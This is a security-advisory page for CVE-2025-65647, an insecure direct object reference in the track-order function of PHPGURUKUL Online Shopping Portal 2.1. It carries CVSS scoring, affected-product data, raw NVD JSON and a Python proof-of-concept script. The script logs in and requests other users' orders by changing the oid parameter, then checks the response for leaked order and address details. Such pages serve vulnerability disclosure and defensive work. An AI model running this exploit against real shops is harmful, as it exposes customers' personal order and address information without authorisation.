Security Vulnerability Report
中文
CVE-2025-65647 CVSS 4.3 MEDIUM

CVE-2025-65647

Published: 2025-11-25 20:16:00
Last Modified: 2025-12-01 14:22:43

Description

Insecure Direct Object Reference (IDOR) in the Track order function in PHPGURUKUL Online Shopping Portal 2.1 allows information disclosure via the oid parameter.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:phpgurukul:online_shopping_portal:2.1:*:*:*:*:*:*:* - VULNERABLE
PHPGURUKUL Online Shopping Portal 2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-65647 PoC - IDOR in PHPGURUKUL Online Shopping Portal 2.1 # Target: Track Order function - oid parameter def exploit_idor(target_url, order_id): """ Exploit IDOR vulnerability in Track Order function target_url: Base URL of the vulnerable application order_id: Order ID to access (can be any valid order ID) """ # Login first to get valid session login_url = f"{target_url}/login.php" session = requests.Session() # Login with valid credentials login_data = { "email": "[email protected]", "password": "attacker_password" } try: # Perform login login_response = session.post(login_url, data=login_data, timeout=10) # Access Track Order page with manipulated oid parameter track_order_url = f"{target_url}/track-order.php" params = {"oid": order_id} # Manipulated order ID response = session.get(track_order_url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Successfully accessed order ID: {order_id}") print(f"[+] Response length: {len(response.text)} bytes") # Check for sensitive information in response if "order" in response.text.lower() or "address" in response.text.lower(): print("[!] Sensitive order information leaked!") return True else: print(f"[-] Request failed with status code: {response.status_code}") return False except requests.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <order_id>") print(f"Example: python {sys.argv[0]} http://target.com/shopping 1001") sys.exit(1) target = sys.argv[1] order_id = sys.argv[2] print(f"[*] CVE-2025-65647 PoC - IDOR in PHPGURUKUL Track Order") print(f"[*] Target: {target}") print(f"[*] Target Order ID: {order_id}") exploit_idor(target, order_id)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65647", "sourceIdentifier": "[email protected]", "published": "2025-11-25T20:16:00.177", "lastModified": "2025-12-01T14:22:42.593", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insecure Direct Object Reference (IDOR) in the Track order function in PHPGURUKUL Online Shopping Portal 2.1 allows information disclosure via the oid parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:online_shopping_portal:2.1:*:*:*:*:*:*:*", "matchCriteriaId": "EF35CC2E-1CB6-401B-B896-9033F6C5C4C7"}]}]}], "references": [{"url": "https://github.com/SachuuZ/CVE/tree/main/CVE-2025-65647", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}, {"url": "https://phpgurukul.com/", "source": "[email protected]", "tags": ["Product"]}]}}